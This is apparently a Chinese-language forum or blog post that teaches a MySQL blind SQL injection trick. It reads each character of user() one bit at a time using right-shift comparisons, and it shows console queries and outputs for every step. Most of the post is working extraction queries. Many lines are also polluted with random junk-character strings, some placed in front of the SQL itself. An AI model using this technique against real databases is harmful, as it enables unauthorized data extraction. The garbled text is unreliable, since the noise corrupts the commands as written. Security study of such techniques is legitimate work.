关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:

* b0 N+ P/ ~. {. j" S' T1 ~
: g1 ~0 Z0 }! }( h
2 J* j! O& a" o+ m+ s- Cps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
% G; ?& G8 a! a1 R/ B0 t
' ?( y0 `1 J2 b( q" y& [8 Y

首先执行如下sql语句:

) q8 g4 L( j% j' i/ J) ?$ w

5 [- v" [! g0 smysql> select (ascii((substr(user(),1,1))) >> 7)=0;


/ \; H* q0 R" E) \# u2 H0 o+ f
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


+ Q/ w+ l9 i$ n; `# f8 [( K
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 V/ n+ R; j0 {5 L' ~8 s

% f2 o- W0 I, n6 ^- ^+ s
如果运算结果为1,说明第一位为0,不为1
9 j% ~# I6 }  Q3 B8 r$ \, o


6 l/ \! V" m7 j8 w  e8 c1 d; z, [+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
  ~2 W, \- L# f4 r* I
3 n0 }) ^  a6 H( p" m2 r| 1 |
! d( U0 E, o3 ^3 a, C3 L  _* [2 I' U
3 Q' `9 x0 s3 t2 l1 q$ f( o/ C5 e+————————————–+
. N, ?+ p9 Z. w3 S  i. B
1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
; N; B& |/ d7 r
6 `  O1 t' F4 S; d# u6 `
  h9 `8 K# c6 f( w: T
第二次我们来做6次右偏移来确定前两位
  s' K2 q) Y: r# C  S7 R/ z


前两位可能是01或00,即依然可以与0做比较,

1 j9 g* P* W1 `; J8 y6 ^mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

5 F7 p) x8 L8 y+————————————–+

& k1 J! F- j& n| (ascii((substr(user(),1,1))) >> 6)=0 |
9 Q9 r4 u2 Z4 M- T- y& {7 A
+————————————–+
  y6 x. V+ ~' I( F% d
| 0 |
) D8 G7 _8 w! N$ |# y
+————————————–+
- z& q3 o6 ~$ a9 F6 {; W. v+ y
8 o) H3 u0 L8 b- H0 j. u1 row in set (0.00 sec)



8 Y* U0 X# J8 p2 I, ~" V0 w结果为0,即第二位为1

! m4 r6 n7 `+ B
* P4 r1 ?& ]6 l5 c+ {
5 K3 {4 I6 Z  T! \/ D* G开始猜测前三位为010或011

' {- {' E2 _1 c. |. r
- ~6 A# p* a! k1 i
3 g# c$ i" G* e+ m$ \  R7 M让我们看看010和011的ascii码是多少



  a' F* [1 E. E6 p8 r分别查询select b’011′ select b’010′
7 Z7 t8 x: C2 c


获得结果 010 = 2 011 = 3

5 o2 b" D8 Z1 C1 F0 ]6 G/ R5 `0 W( n

执行如下sql:



mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |

: f: @& P+ v& E% f+ s/ T8 b. L9 J+————————————–+

' i: K4 l$ Z% r; a$ j! w即前三位不为010,而是011

/ Q; Q. S* `# Q- u2 b
( W& U" {8 H5 v
) _3 G" t9 e) R+ K9 W% e2 k0 @* c直到获得最后一位


' K& {, S2 i3 X: a
最终结果为:01110010


, m4 F5 f: e, z) |
, ]) s% U8 S" U转换一下:

% x/ S/ Y. f# V, D

select b’01110010′
$ S, d! @6 v' ^; f5 K; s: Y; R+ s
9 l. a3 f3 W8 [* W/ e# v- O

查询结果



+————-+
1 W5 z6 Y  E; {6 g, f
( x/ @* k6 T1 h9 D! D5 W| b’01110010′ |

& |  E8 L) C# y! g* `& f+————-+

7 N, Q6 n0 @4 p" M# u| r |
; W. O, F, P1 H9 B
+————-+
  H4 h3 I9 P' Q/ s* ]; h9 H& T! ?& j
1 row in set (0.00 sec)

2 E, X2 i0 [( x

这样我们就获得了user()的第一位.其它位依此类推
6 F8 z7 w. _6 n2 n/ r# j. U" N